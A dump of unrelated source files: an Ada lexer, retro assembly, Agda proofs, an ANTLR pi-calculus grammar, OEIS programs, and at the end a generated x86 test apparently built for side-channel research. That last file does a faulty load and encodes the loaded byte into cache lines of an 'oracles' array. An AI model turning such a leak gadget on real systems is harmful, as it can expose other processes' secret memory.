Lexer_Status_t) is begin Lexer := Lexer_t' (Inited => True, Current_Line => Line_Number_t'First, Token_Buffer => UBW_Strings.Null_Unbounded_Wide_String, Input_Buffer => Input_Buffer_t'(others => Wide_Character'Val (0)), State => State_t'(others => False)); Status := Lexer_OK; end Initialize_Lexer; -- -- Retrieve token from input stream. -- procedure Get_Token (Lexer : in out Lexer_t; Token : out Token_t; Status : out Lexer_Status_t) is -- -- Stream characters via Read_Item. -- procedure Fetch_Characters (Lexer : in out Lexer_t; Item : out Wide_Character; Item_Next : out Wide_Character; Status : out Stream_Status_t) is Null_Item : constant Wide_Character := Wide_Character'Val (0); begin if Lexer.Input_Buffer (Next) /= Null_Item then Lexer.Input_Buffer (Current) := Lexer.Input_Buffer (Next); Read_Item (Item => Lexer.Input_Buffer (Next), Status => Status); case Status is when Stream_EOF => Lexer.Input_Buffer (Next) := Null_Item; Status := Stream_OK; when Stream_Error => null; when Stream_OK => null; end case; else Read_Item (Item => Lexer.Input_Buffer (Current), Status => Status); case Status is when Stream_EOF => null; when Stream_Error => null; when Stream_OK => Read_Item (Item => Lexer.Input_Buffer (Next), Status => Status); case Status is when Stream_EOF => Lexer.Input_Buffer (Next) := Null_Item; Status := Stream_OK; when Stream_Error => null; when Stream_OK => null; end case; end case; end if; Item := Lexer.Input_Buffer (Current); Item_Next := Lexer.Input_Buffer (Next); end Fetch_Characters; Item : Wide_Character; Item_Next : Wide_Character; Stream_Status : Stream_Status_t; begin -- Default status. Status := Lexer_Needs_More_Data; Token := Invalid_Token; -- Fetch characters from input stream. Fetch_Characters (Lexer => Lexer, Item => Item, Item_Next => Item_Next, Status => Stream_Status); case Stream_Status is when Stream_OK => null; when Stream_Error => Status := Lexer_Error_Stream_Error; return; when Stream_EOF => if State_Is_Set (Lexer, Inside_String) or State_Is_Set (Lexer, Inside_Escape) then Status := Lexer_Error_Early_EOF; else -- Reached upon EOF with no preceding newline/whitespace. Status := Lexer_OK; -- Have unfinished token? if Token_Is_Nonzero_Length (Lexer) then Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_Symbol); else Append_To_Token (Lexer, 'E'); Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_EOF); end if; end if; return; end case; pragma Assert (Stream_Status = Stream_OK); -- Process character. case Categorize_Character (Item) is when Comment_Delimiter => if State_Is_Set (Lexer, Inside_String) or State_Is_Set (Lexer, Inside_Escape) then Append_To_Token (Lexer, Item); else if not State_Is_Set (Lexer, Inside_Comment) then Set_State (Lexer, Inside_Comment); end if; end if; when Escape_Character => if not State_Is_Set (Lexer, Inside_Comment) then if State_Is_Set (Lexer, Inside_String) then if State_Is_Set (Lexer, Inside_Escape) then Append_To_Token (Lexer, Item); Unset_State (Lexer, Inside_Escape); else Set_State (Lexer, Inside_Escape); end if; end if; end if; when Line_Break => if State_Is_Set (Lexer, Inside_Comment) then Unset_State (Lexer, Inside_Comment); else begin -- Potential overflow. Lexer.Current_Line := Lexer.Current_Line + 1; if State_Is_Set (Lexer, Inside_Escape) then Unset_State (Lexer, Inside_Escape); end if; if State_Is_Set (Lexer, Inside_String) then Append_To_Token (Lexer, Item); else if Token_Is_Nonzero_Length (Lexer) then Status := Lexer_OK; Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_Symbol); end if; end if; exception when Constraint_Error => Status := Lexer_Error_Line_Overflow; Token := Invalid_Token; end; end if; when List_Open_Delimiter => if not State_Is_Set (Lexer, Inside_Comment) then Append_To_Token (Lexer, Item); if not State_Is_Set (Lexer, Inside_String) then Status := Lexer_OK; Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_List_Open); end if; end if; when List_Close_Delimiter => if not State_Is_Set (Lexer, Inside_Comment) then Append_To_Token (Lexer, Item); if not State_Is_Set (Lexer, Inside_String) then Status := Lexer_OK; Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_List_Close); end if; end if; when String_Delimiter => if not State_Is_Set (Lexer, Inside_Comment) then if State_Is_Set (Lexer, Inside_String) then if State_Is_Set (Lexer, Inside_Escape) then Append_To_Token (Lexer, Item); Unset_State (Lexer, Inside_Escape); else Status := Lexer_OK; Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_Quoted_String); Unset_State (Lexer, Inside_String); end if; else Set_State (Lexer, Inside_String); end if; end if; when Whitespace => if not State_Is_Set (Lexer, Inside_Comment) then if State_Is_Set (Lexer, Inside_Escape) then Unset_State (Lexer, Inside_Escape); end if; if State_Is_Set (Lexer, Inside_String) then Append_To_Token (Lexer, Item); else if Token_Is_Nonzero_Length (Lexer) then Status := Lexer_OK; Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_Symbol); end if; end if; end if; when Ordinary_Text => if not State_Is_Set (Lexer, Inside_Comment) then if State_Is_Set (Lexer, Inside_Escape) then Unset_State (Lexer, Inside_Escape); end if; Append_To_Token (Lexer, Item); -- End of token if not inside a string. case Categorize_Character (Item_Next) is when List_Open_Delimiter | List_Close_Delimiter | String_Delimiter => if not State_Is_Set (Lexer, Inside_String) then Status := Lexer_OK; Complete_Token (Lexer => Lexer, Token => Token, Kind => Token_Symbol); end if; when others => null; end case; end if; end case; exception when Storage_Error => Status := Lexer_Error_Out_Of_Memory; Token := Invalid_Token; end Get_Token; end Symbex.Lex;
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_nan_fastcall.asm
jpoikela/z88dk
640
175298
<filename>libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_nan_fastcall.asm ; float nan(const char *tagp) __z88dk_fastcall SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sdccix_nan_fastcall EXTERN am48_nan, cm48_sdccixp_m482d cm48_sdccix_nan_fastcall: call am48_nan jp cm48_sdccixp_m482d
dino/lcs/scr2.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
6
169001
<filename>dino/lcs/scr2.asm<gh_stars>1-10 copyright zengfr site:http://github.com/zengfr/romhack 000BA0 move.w D0, (A0)+ 000BA2 move.w D1, (A0)+ [scr1, scr2, scr3] 02050A move.l (A3)+, (A0)+ 02050C rts [scr2] 02056E move.l (A3)+, (A0)+ 020570 rts [scr2] 021446 move.l (A3)+, (A0)+ 021448 move.l (A3)+, (A0)+ [scr2] 021450 move.l (A3)+, (A0)+ 021452 rts [scr2] 092116 move.w D0, ($0,A4) 09211A move.w D3, ($2,A4) [scr2] 0AA976 move.w D0, (A0)+ 0AA978 move.w D1, (A0)+ [scr1, scr2] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
001-099/01/euler.adb
lunixbochs/project-euler
6
10181
<reponame>lunixbochs/project-euler with Ada.Text_IO; use Ada.Text_IO; with Ada.Integer_Text_IO; use Ada.Integer_Text_IO; procedure Euler is sum:Integer := 0; begin for I in Integer range 1 .. 999 loop if I mod 5 = 0 or I mod 3 = 0 then sum := sum + I; end if; end loop; Put(sum); New_Line; end Euler;
agda-stdlib/src/Relation/Binary/Indexed/Heterogeneous/Definitions.agda
DreamLinuxer/popl21-artifact
5
3204
<filename>agda-stdlib/src/Relation/Binary/Indexed/Heterogeneous/Definitions.agda ------------------------------------------------------------------------ -- The Agda standard library -- -- Indexed binary relations ------------------------------------------------------------------------ -- The contents of this module should be accessed via -- `Relation.Binary.Indexed.Heterogeneous`. {-# OPTIONS --without-K --safe #-} module Relation.Binary.Indexed.Heterogeneous.Definitions where open import Level import Relation.Binary.Core as B import Relation.Binary.Definitions as B import Relation.Binary.PropositionalEquality.Core as P open import Relation.Binary.Indexed.Heterogeneous.Core private variable i a ℓ : Level I : Set i ------------------------------------------------------------------------ -- Simple properties of indexed binary relations Reflexive : (A : I → Set a) → IRel A ℓ → Set _ Reflexive _ _∼_ = ∀ {i} → B.Reflexive (_∼_ {i}) Symmetric : (A : I → Set a) → IRel A ℓ → Set _ Symmetric _ _∼_ = ∀ {i j} → B.Sym (_∼_ {i} {j}) _∼_ Transitive : (A : I → Set a) → IRel A ℓ → Set _ Transitive _ _∼_ = ∀ {i j k} → B.Trans _∼_ (_∼_ {j}) (_∼_ {i} {k})
Structure/Category/Proofs.agda
Lolirofle/stuff-in-agda
6
14714
-- TODO: Generalize and move to Structure.Categorical.Proofs module Structure.Category.Proofs where import Lvl open import Data open import Data.Tuple as Tuple using (_,_) open import Functional using (const ; swap ; _$_) open import Lang.Instance open import Logic open import Logic.Propositional open import Logic.Predicate open import Structure.Category open import Structure.Categorical.Names open import Structure.Categorical.Properties import Structure.Operator.Properties as Properties open import Structure.Operator open import Structure.Relator.Equivalence open import Structure.Relator.Properties open import Structure.Setoid open import Syntax.Function open import Syntax.Transitivity open import Type module _ {ℓₒ ℓₘ ℓₑ : Lvl.Level} {Obj : Type{ℓₒ}} {Morphism : Obj → Obj → Type{ℓₘ}} ⦃ morphism-equiv : ∀{x y} → Equiv{ℓₑ}(Morphism x y) ⦄ (cat : Category(Morphism)) where open Category(cat) open Category.ArrowNotation(cat) open Morphism.OperModule(\{x} → _∘_ {x}) open Morphism.IdModule(\{x} → _∘_ {x})(id) private open module [≡]-Equivalence {x}{y} = Equivalence (Equiv-equivalence ⦃ morphism-equiv{x}{y} ⦄) using () private variable x y z : Obj private variable f g h i : x ⟶ y associate4-123-321 : (((f ∘ g) ∘ h) ∘ i ≡ f ∘ (g ∘ (h ∘ i))) associate4-123-321 = Morphism.associativity(_∘_) 🝖 Morphism.associativity(_∘_) associate4-123-213 : (((f ∘ g) ∘ h) ∘ i ≡ (f ∘ (g ∘ h)) ∘ i) associate4-123-213 = congruence₂ₗ(_∘_)(_) (Morphism.associativity(_∘_)) associate4-321-231 : (f ∘ (g ∘ (h ∘ i)) ≡ f ∘ ((g ∘ h) ∘ i)) associate4-321-231 = congruence₂ᵣ(_∘_)(_) (symmetry(_≡_) (Morphism.associativity(_∘_))) associate4-213-121 : ((f ∘ (g ∘ h)) ∘ i ≡ (f ∘ g) ∘ (h ∘ i)) associate4-213-121 = symmetry(_≡_) (congruence₂ₗ(_∘_)(_) (Morphism.associativity(_∘_))) 🝖 Morphism.associativity(_∘_) associate4-231-213 : f ∘ ((g ∘ h) ∘ i) ≡ (f ∘ (g ∘ h)) ∘ i associate4-231-213 = symmetry(_≡_) (Morphism.associativity(_∘_)) associate4-231-123 : f ∘ ((g ∘ h) ∘ i) ≡ ((f ∘ g) ∘ h) ∘ i associate4-231-123 = associate4-231-213 🝖 symmetry(_≡_) associate4-123-213 associate4-231-121 : (f ∘ ((g ∘ h) ∘ i) ≡ (f ∘ g) ∘ (h ∘ i)) associate4-231-121 = congruence₂ᵣ(_∘_)(_) (Morphism.associativity(_∘_)) 🝖 symmetry(_≡_) (Morphism.associativity(_∘_)) id-automorphism : Automorphism(id{x}) ∃.witness id-automorphism = id ∃.proof id-automorphism = intro(Morphism.identityₗ(_∘_)(id)) , intro(Morphism.identityᵣ(_∘_)(id)) inverse-isomorphism : (f : x ⟶ y) → ⦃ _ : Isomorphism(f) ⦄ → Isomorphism(inv f) ∃.witness (inverse-isomorphism f) = f ∃.proof (inverse-isomorphism f) = intro (inverseᵣ(f)(inv f)) , intro (inverseₗ(f)(inv f)) where open Isomorphism(f) module _ ⦃ op : ∀{x y z} → BinaryOperator(_∘_ {x}{y}{z}) ⦄ where op-closed-under-isomorphism : ∀{A B C : Obj} → (f : B ⟶ C) → (g : A ⟶ B) → ⦃ _ : Isomorphism(f) ⦄ → ⦃ _ : Isomorphism(g) ⦄ → Isomorphism(f ∘ g) ∃.witness (op-closed-under-isomorphism f g) = inv g ∘ inv f Tuple.left (∃.proof (op-closed-under-isomorphism f g)) = intro $ (inv g ∘ inv f) ∘ (f ∘ g) 🝖-[ associate4-213-121 ]-sym (inv g ∘ (inv f ∘ f)) ∘ g 🝖-[ congruence₂ₗ(_∘_) ⦃ op ⦄ (g) (congruence₂ᵣ(_∘_) ⦃ op ⦄ (inv g) (Morphism.inverseₗ(_∘_)(id) (f)(inv f))) ] (inv g ∘ id) ∘ g 🝖-[ congruence₂ₗ(_∘_) ⦃ op ⦄ (g) (Morphism.identityᵣ(_∘_)(id)) ] inv g ∘ g 🝖-[ Morphism.inverseₗ(_∘_)(id) (g)(inv g) ] id 🝖-end where open Isomorphism(f) open Isomorphism(g) Tuple.right (∃.proof (op-closed-under-isomorphism f g)) = intro $ (f ∘ g) ∘ (inv g ∘ inv f) 🝖-[ associate4-213-121 ]-sym (f ∘ (g ∘ inv g)) ∘ inv f 🝖-[ congruence₂ₗ(_∘_) ⦃ op ⦄ (_) (congruence₂ᵣ(_∘_) ⦃ op ⦄ (_) (Morphism.inverseᵣ(_∘_)(id) (_)(_))) ] (f ∘ id) ∘ inv f 🝖-[ congruence₂ₗ(_∘_) ⦃ op ⦄ (_) (Morphism.identityᵣ(_∘_)(id)) ] f ∘ inv f 🝖-[ Morphism.inverseᵣ(_∘_)(id) (_)(_) ] id 🝖-end where open Isomorphism(f) open Isomorphism(g) instance Isomorphic-reflexivity : Reflexivity(Isomorphic) ∃.witness (Reflexivity.proof Isomorphic-reflexivity) = id ∃.proof (Reflexivity.proof Isomorphic-reflexivity) = id-automorphism instance Isomorphic-symmetry : Symmetry(Isomorphic) ∃.witness (Symmetry.proof Isomorphic-symmetry iso-xy) = inv(∃.witness iso-xy) ∃.proof (Symmetry.proof Isomorphic-symmetry iso-xy) = inverse-isomorphism(∃.witness iso-xy) module _ ⦃ op : ∀{x y z} → BinaryOperator(_∘_ {x}{y}{z}) ⦄ where instance Isomorphic-transitivity : Transitivity(Isomorphic) ∃.witness (Transitivity.proof Isomorphic-transitivity ([∃]-intro xy) ([∃]-intro yz)) = yz ∘ xy ∃.proof (Transitivity.proof Isomorphic-transitivity ([∃]-intro xy) ([∃]-intro yz)) = op-closed-under-isomorphism ⦃ op ⦄ yz xy instance Isomorphic-equivalence : Equivalence(Isomorphic) Isomorphic-equivalence = record{}
oeis/128/A128220.asm
neoneye/loda-programs
11
105010
; A128220: Triangle, A127701 * A000012. ; 1,3,2,4,4,3,5,5,5,4,6,6,6,6,5,7,7,7,7,7,6,8,8,8,8,8,8,7,9,9,9,9,9,9,9,8,10,10,10,10,10,10,10,10,9,11,11,11,11,11,11,11,11,11,10 mov $2,$0 mov $0,1 mov $1,1 lpb $2,8 add $0,$1 mov $3,$0 bin $3,$2 trn $2,$0 lpe
programs/oeis/060/A060511.asm
karttu/loda
0
162234
<filename>programs/oeis/060/A060511.asm ; A060511: Hexagonal excess: smallest amount by which n exceeds a hexagonal number (2k^2-k, A000384). ; 0,0,1,2,3,4,0,1,2,3,4,5,6,7,8,0,1,2,3,4,5,6,7,8,9,10,11,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 lpb $0,1 sub $0,1 mov $1,$0 add $2,4 trn $0,$2 lpe
parser/Pi.g4
bordaigorl/lemma9
0
3194
grammar Pi; program : (globalnames newlines)? definitions newlines? helpers newlines? limit newlines? EOF; // (mefinitions+=definition); helpers : (helper newlines)*; helper : procid EQ limit SEM; globalnames : GLOBAL (globalname)+ SEM; // (glnames+=names) globalname : NAME; definitions : (definition newlines)*; definition : proccalldef DEF actions SEM; limit : nullprocess // | PAROP term PARCL add support for ( ) to guide view later | newnames PAROP parallels PARCL | parallels; nullprocess : ZERO; newnames : NEWOP names DOT; parallels : comp (PARA comp)*; comp : msgout | processcall | iterproccall | PAROP limit PARCL | sublimit; sublimit : PAROP limit PARCL OMEGA; // introduce sanity check whether newnames is not empty for sublimit iterproccall: processcall OMEGA; proccalldef : procid (BRAOP listofvars BRACL)?; processcall : procid (BRAOP listofargs BRACL)?; procid : PROCID | SECRET | LEAK; actions : action (CHOICEOP action)*; // add possibility for ( and ) action : inputpattern DOT PAROP limit PARCL; inputpattern: INOP (listofvars COL)? (pattern)? PARCL; names : newname (COMMA newname)*; newname : NAME; listofargs : arguments; arguments : argument (COMMA argument)*; argument : msg; // got rid of variable here due to basicmsg can see it. listofvars : variables; variables : (variable | sizedvar) (COMMA variables)*; variable : NAME; sizedvar : PAROP variable COL SIZE size PARCL; size : NUMBER; msgout : FROP msg FRCL; msg : pairmsg | encrymsg | aencrymsg | signmsg | pubkeymsg | basicmsg; basicmsg : NAME; encrymsg : ENCOP msg COMMA msg PARCL | CURLOP msg CURLCL UNDER msg; aencrymsg : AENCOP msg COMMA msg PARCL; signmsg : SIGNOP msg COMMA msg PARCL; pubkeymsg : PUBOP msg PARCL; pairmsg : PAROP msg COMMA msg PARCL; pattern : pairmsg | encrymsg | adecpattern | veripattern | pubkeymsg | basicmsg | variable; adecpattern : ADECOP pattern COMMA pattern PARCL; veripattern : VERIOP pattern COMMA pattern PARCL; newlines : NEWLINE (NEWLINE)*; NAME : {(self._input.LA(1) != 'global') & (self._input.LA(1) != 'size') &\ (self._input.LA(1) != 'new') &\ (self._input.LA(1) != 'aenc') & (self._input.LA(1) != 'sign') &\ (self._input.LA(1) != 'pub') & (self._input.LA(1) != 'enc') &\ (self._input.LA(1) != 'adec') & (self._input.LA(1) != 'veri')}? [a-z]+; PROCID : [A-Z] [0-9]?; NUMBER : [1-9] [0-9]*; GLOBAL : '#global'; DOUBLESLASH : '//'; SIZE : 'size '; NEWOP : 'new '; OMEGA : '^w'; AENCOP : 'aenc('; SIGNOP : 'sign('; PUBOP : 'pub('; ENCOP : 'enc('; ADECOP : 'adec('; VERIOP : 'veri('; CURLOP : '{'; CURLCL : '}'; UNDER : '_'; PAROP : '('; PARCL : ')'; FROP : '<'; FRCL : '>'; PARA : '||'; BRAOP : '['; BRACL : ']'; COMMA : ','; ZERO : 'STOP'; SECRET : 'Secret'; LEAK : 'Leak'; DOT : '.'; SEM : ';'; NEWLINE : '\n'; COL : ':'; CHOICEOP : '+'; INOP : 'in('; DEF : ':='; EQ : '='; WS : [ \t\r]+ -> skip; COMMENTS : '//' ~('\r' | '\n')+ -> skip;
oeis/048/A048592.asm
neoneye/loda-programs
11
94054
; A048592: Pisot sequence L(9,10). ; Submitted by <NAME> ; 9,10,12,15,19,25,33,44,59,80,109,149,204,280,385,530,730,1006,1387,1913,2639,3641,5024,6933,9568,13205,18225,25154,34718,47919,66140,91290,126004,173919,240055,331341,457341,631256,871307,1202644,1659981,2291233,3162536,4365176,6025153,8316382,11478914,15844086,21869235,30185613,41664523,57508605,79377836,109563445,151227964,208736565,288114397,397677838,548905798,757642359,1045756752,1443434586,1992340380,2749982735,3795739483,5239174065,7231514441,9981497172,13777236651,19016410712 mov $2,1 mov $5,1 lpb $0 sub $0,1 sub $3,$4 mov $5,$4 mov $4,$2 mov $2,$3 add $2,$1 mov $1,$3 add $2,2 add $5,$2 mov $3,$5 lpe mov $0,$5 add $0,8
smsq/qa/exp.asm
olifink/smsqe
0
171011
; QL Arithmetic EXP V2.01  1990 <NAME> QJUMP section qa xdef qa_exp xref qa_range xref qa_poly xref qa_pushd xref qa_dup xref qa_add1 xref qa_subr xref qa_mul xref qa_muld xref qa_div ;+++ ; QL Arithmetic: EXP ; ; This routine finds the exponential of TOS. Algorithm Cody and Waite / TT ; ; d0 r error return 0 or ERR.OVFL ; a1 c p pointer to arithmetic stack ; status return standard ;--- qa_exp qxp.reg reg d1/d2/d3/a2 movem.l qxp.reg,-(sp) lea qxp_tab,a2 ; range table moveq #0,d3 ; no range offset jsr qa_range beq.s qxp_go neg.l d3 ; negative or positive overflow? blt.s qxp_exit ; ... with correct cond codes! clr.w (a1) clr.l 2(a1) ; zero bra.s qxp_ok qxp_go jsr qa_pushd ; duplicate #g jsr qa_muld ; #z, g move.w (a1),d2 move.l 2(a1),d1 jsr qa_poly ; #P, g jsr qa_mul ; #g*P jsr qa_dup ; #g*P, #g*P jsr qa_pushd ; #z, #g*P jsr qa_poly ; #Q, #g*P, #g*P jsr qa_subr ; #(Q-g*P), #g*P jsr qa_div ; #g*P/(Q-g*P) addq.w #1,(a1) ; *2 jsr qa_add1 ; +1 add.w d3,(a1) ; and the exponent bge.s qxp_ok move.w (a1)+,d2 neg.w d2 move.l (a1),d1 clr.l (a1) cmp.w #32,d2 ; shift mantissa bgt.s qxp_ok2 asr.l d2,d1 move.l d1,(a1) ; some bits left QXP_ok2 clr.w -(a1) ; but no exponent qxp_ok moveq #0,d0 qxp_exit movem.l (sp)+,qxp.reg rts dc.w $0800,$4000,$0000 dc.w $07FC,$6DB4,$CE83 dc.w $07F5,$4DEF,$09CA dc.w 2 ; Q polynomial dc.w $07FF,$4000,$0000 dc.w $07F9,$617D,$E4BB dc.w 1 ; P polynomial ;---- dc.w $0800,$58B9,$0BFB,$E8E8 ; range six byte mantissa ;---- dc.w $0800,$A746,$F404,$1718 ; - range six byte mantissa ;---- dc.w $07f0,$F404,$1718 ; - range lslw dc.w $07ED,$A020,$B8c0 ; - range lslw normalised dc.w $0800,$A747,$0000 ; - range msw dc.l $000007f0 ; maxexp dc.l $fffff7f0 ; minexp dc.w $0801,$5C55,$1D95 ; 1/range approx qxp_tab end
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_1392.asm
ljhsiun2/medusa
9
23452
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1ee03, %r10 nop nop nop nop nop cmp %rdx, %rdx movl $0x61626364, (%r10) nop nop nop nop add %rbx, %rbx lea addresses_WT_ht+0x1aeb3, %rdi nop nop nop nop nop xor $20997, %rbp mov $0x6162636465666768, %rbx movq %rbx, %xmm6 vmovups %ymm6, (%rdi) add $42494, %r8 lea addresses_A_ht+0xe90b, %rsi lea addresses_WT_ht+0x15e33, %rdi clflush (%rsi) nop nop nop nop nop add %rdx, %rdx mov $31, %rcx rep movsb nop nop nop add %rbx, %rbx lea addresses_WC_ht+0x6537, %rsi lea addresses_A_ht+0x8ff3, %rdi nop nop nop nop cmp $45772, %rbx mov $4, %rcx rep movsw nop cmp %rbx, %rbx lea addresses_normal_ht+0x13de3, %rsi lea addresses_A_ht+0x4073, %rdi nop and %r10, %r10 mov $85, %rcx rep movsq nop sub %rbp, %rbp lea addresses_D_ht+0x9db3, %rdi nop xor $58648, %rbp vmovups (%rdi), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop nop nop nop sub $28393, %r10 lea addresses_D_ht+0x1ecb3, %rbx nop nop nop nop cmp %r10, %r10 movw $0x6162, (%rbx) nop nop nop and %rbp, %rbp lea addresses_WC_ht+0x5a73, %r10 nop nop add $12885, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm4 vmovups %ymm4, (%r10) nop dec %rdx lea addresses_normal_ht+0x101b3, %r10 nop nop cmp $20876, %r8 mov $0x6162636465666768, %rbx movq %rbx, %xmm1 movups %xmm1, (%r10) nop nop nop nop nop add %rsi, %rsi lea addresses_UC_ht+0x16233, %rbx nop nop sub $50414, %r10 mov (%rbx), %ebp nop sub $4926, %rbp lea addresses_UC_ht+0x1c6c3, %rcx nop nop nop cmp %rsi, %rsi movb $0x61, (%rcx) dec %rbp lea addresses_WC_ht+0x13053, %r10 add $46724, %r8 vmovups (%r10), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rbp nop sub $44822, %rcx lea addresses_normal_ht+0xeb13, %rsi lea addresses_UC_ht+0xf69a, %rdi nop nop nop nop nop inc %rbp mov $48, %rcx rep movsw xor $1927, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_UC+0x7893, %rsi lea addresses_A+0x1e4ff, %rdi nop nop nop nop nop sub %r14, %r14 mov $0, %rcx rep movsl nop nop sub $57227, %r14 // REPMOV lea addresses_normal+0x1a3b3, %rsi lea addresses_PSE+0xdd8b, %rdi nop xor $16524, %r10 mov $8, %rcx rep movsw nop nop nop cmp $12609, %rdi // Store lea addresses_PSE+0x145b3, %r14 nop nop nop nop nop and $29617, %rcx movl $0x51525354, (%r14) nop nop nop add $60500, %r13 // Faulty Load lea addresses_RW+0x65b3, %r10 and $35997, %r13 mov (%r10), %ecx lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_A', 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_PSE', 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 4, 'NT': True, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': True, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_normal_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 